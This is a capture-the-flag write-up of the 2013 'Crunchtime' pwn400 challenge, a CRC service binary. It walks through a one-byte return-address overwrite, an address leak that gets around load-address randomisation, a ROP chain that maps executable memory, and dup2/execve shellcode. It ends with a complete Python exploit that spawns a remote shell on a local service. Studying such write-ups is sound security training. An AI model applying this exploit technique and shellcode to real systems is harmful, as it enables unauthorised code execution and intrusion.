CrunchTime
Introduction
Last weekend I participated in the GitS 2013 CTF for team SoSix (team created with my friend @delroth).
Here is my writeup for the pwn400 challenge, called Crunchtime.
Crunchtime is a linux elf64 binary which is an hash generating service.
The binary offers 5 options :
- 1 - AddString
- 2 - PrintString
- 3 - ComputeCRC
- 4 - PrintCRC
- 5 - Exit
Addstring
This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.
If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.
PrintString
This option asks the user which string number he wants, and print it. This function checks if the number < 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.
ComputeCRC
This option will generate CRC for all the strings entered by the user.
PrintCRC
This option will print all CRC computed and the string which is associated.
Vulnerability
When the user asks for a new string, a function "CreateNewString" (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :
But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A ("\n").
So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.
We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo "CreateNewString" :
We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.
So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.
Let's see an example :
- User ask for a new string
- User enter the string : "A" * 0x220 + "\x4B"
- Saved RBX = 0x4242424242424242
- Saved RBP = 0x4242424242424242
- Saved RFLAGS = 0x4242424242424242
- ReturnAddress low byte = 0x4B instead of in our case 0x80
- The value of our saved RBX will be pushed on the stack before calling CreateNewString
- User enters a new string : "A" * 0x200 + "\xA1" (0x00007FFFF7FFDFA1 == "retn")
- ReturnAddress will point to a retn instruction, and then retn to our 0x4242424242424242
Now we can control full of rip.
> readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 8
The stack is not executable so we will have to do some ROP.
But there is another problem :)
> readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type
Type: DYN (Shared object file)
The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !
We will have to find a way to leak information, especially one which help us to construct our rop payload.
Here is the pseudo-code of the function "CreateNewString" :
size = ReadUntil(fd, buffer, 0x221, 0x0A);
if (buffer[size] == 0x0A)
buffer[size] = 0;
memcpy(malloc(strlen(buffer)), buffer, strlen(buffer));
If the buffer doesn't end with "\n", no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.
Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :
> perl -e'print "1\n" . "A"x536 . "\x02"x8 . "\x80" . "2\n0\n5\n"' | nc localhost 10100 | hexdump -C
00000000 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e |Select an option|
00000010 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 6e |:. 1. Add strin|
00000020 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 72 |g. 2. Print str|
00000030 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 |ing. 3. Generat|
00000040 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 6e |e CRCs. 4. Prin|
00000050 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 74 |t CRCs. 5. Exit|
00000060 0a 4e 65 77 20 73 74 72 69 6e 67 3a 20 53 65 6c |.New string: Sel|
00000070 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e 3a 0a 20 |ect an option:. |
00000080 20 31 2e 20 41 64 64 20 73 74 72 69 6e 67 0a 20 | 1. Add string. |
00000090 20 32 2e 20 50 72 69 6e 74 20 73 74 72 69 6e 67 | 2. Print string|
000000a0 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 65 20 43 |. 3. Generate C|
000000b0 52 43 73 0a 20 20 34 2e 20 50 72 69 6e 74 20 43 |RCs. 4. Print C|
000000c0 52 43 73 0a 20 20 35 2e 20 45 78 69 74 0a 57 68 |RCs. 5. Exit.Wh|
000000d0 69 63 68 20 73 74 72 69 6e 67 20 6e 75 6d 62 65 |ich string numbe|
000000e0 72 20 64 6f 20 79 6f 75 20 77 61 6e 74 3f 0a 53 |r do you want?.S|
000000f0 74 72 69 6e 67 20 30 20 2d 20 41 41 41 41 41 41 |tring 0 - AAAAAA|
00000100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
00000310 41 41 02 02 02 02 02 02 02 02 80 9f 40 4e fa 7f |AA..........@N..|
00000320 0a 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f |.Select an optio|
00000330 6e 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 |n:. 1. Add stri|
00000340 6e 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 |ng. 2. Print st|
00000350 72 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 |ring. 3. Genera|
00000360 74 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 |te CRCs. 4. Pri|
00000370 6e 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 |nt CRCs. 5. Exi|
00000380 74 0a |t.|
00000382
As you can see after the repeated "A" we can see the return adress : 0x7ffa4e409f80.
Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.
Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :
00007FFFF7FFE3F0 mov rsi, r12
It calls recv() just after, so be careful.
I didn't find any shellcode with dup2 and execve, so I wrote it :
; dup2(4, 2)
; dup2(4, 1)
; dup2(4, 0)
; execve("/bin/sh")
push 0x04
pop rdi
push 0x21
pop rax
push 0x2
pop rsi
syscall
dec rsi
push 0x21
pop rax
syscall
dec rsi
push 0x21
pop rax
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
Exploit
import socket
import struct
import sys
def leak_return_addr(s):
s.recv(97) # recv menu
s.send("1\n")
s.recv(12) # recv new str
# [BUF] [RBX] [RBP] [EFLAGS] [RIP LOW BYTE]
buf = "A" * 520 + "A" * 8 + "A" * 8 + "\x02" * 8 + "\x80"
s.send(buf)
s.recv(97)
s.send("2\n")
s.recv(33)
s.send("0\n")
buf = s.recv(562)
leak = buf[-7:-1] + "\x00" * 2
addr_leak = struct.unpack("<Q", leak)[0]
return addr_leak
def stage1(s, addr_return, fd):
gadgets = [
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", addr_return + 0x2020a8), # .got.plt send()
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x40), # xor eax, eax ; pop rdi ; retn
struct.pack("<Q", fd),
struct.pack("<Q", addr_return + 0x278), # pop rdx;pop rbx; poprbp;ret
struct.pack("<Q", 0x00000000000000008),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return - 0x230), # send()
struct.pack("<Q", addr_return + 0x50F), # pop r14; ret
struct.pack("<Q", fd),
struct.pack("<Q", addr_return - 0x8), # re triger vuln
]
s.recv(97)
s.send("1\n")
s.recv(12)
# 00007FFFF7FFDF4B push rbx
# [ RBX ] [ RBP ] [ EFLAGS]
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
gadgets.reverse()
for i in gadgets:
s.recv(12)
buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
# 00007FFFF7FFDFA1 retn
s.recv(12)
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
s.send(buf)
s.send("B")
leak_send = s.recv(8)
send_addr = struct.unpack("<Q", leak_send)[0]
print "[+] Send() @ = ", hex(send_addr)
stage2(s, addr_return, fd, send_addr)
def stage2(s, addr_return, fd, send_addr):
gadgets = [
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", 0x1000), # r12 = ....
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x40), # xor eax, eax ; pop rdi ; retn
struct.pack("<Q", 0x13370000),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000031),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000007),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", send_addr - 0x51e0 ), # mmap()
struct.pack("<Q", addr_return + 0x7E5), # pop r12 ; ret
struct.pack("<Q", 0x13370000), # r12 = ....
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x50D), # pop r13; pop r14 ; ret
struct.pack("<Q", fd),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x470), # mov rsi, r12
struct.pack("<Q", 0x0), # pop r10
struct.pack("<Q", 0x0), # pop rbx
struct.pack("<Q", 0x0), # pop rbp
struct.pack("<Q", 0x0), # pop r12
struct.pack("<Q", 0x0), # pop r13
struct.pack("<Q", addr_return + 0x278), # pop rdx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x1000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return + 0x42), # pop rdi ; ret
struct.pack("<Q", fd),
struct.pack("<Q", addr_return + 0x680), # pop rcx; pop rbx; pop rbp; ret
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", 0x00000000000000000),
struct.pack("<Q", addr_return - 0x270), # recv()
struct.pack("<Q", 0x13370000), # r12 = ....
struct.pack("<Q", addr_return - 0x110), # exit DBG
]
s.recv(12)
buf = "A" + "\x00" * 518 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
gadgets.reverse()
for i in gadgets:
s.recv(12)
buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
s.send(buf)
s.recv(12)
buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
s.send(buf)
s.send("\x90")
s.send("\x90")
shellcode = "\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "\x90" * 50
payload = "\x90" * (4096 - len(shellcode)) + shellcode
s.send(payload)
enjoyshell(s)
def enjoyshell(s):
while True:
print ">",
cmd = raw_input()
if not cmd:
break
s.send(cmd + "\n")
sys.stdout.write(s.recv(65536) + "\n")
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 10100))
addr_return = leak_return_addr(s)
print "[+] Addr leak = ", hex(addr_return)
stage1(s, addr_return, 4)
s.close()
if __name__ == '__main__':
main()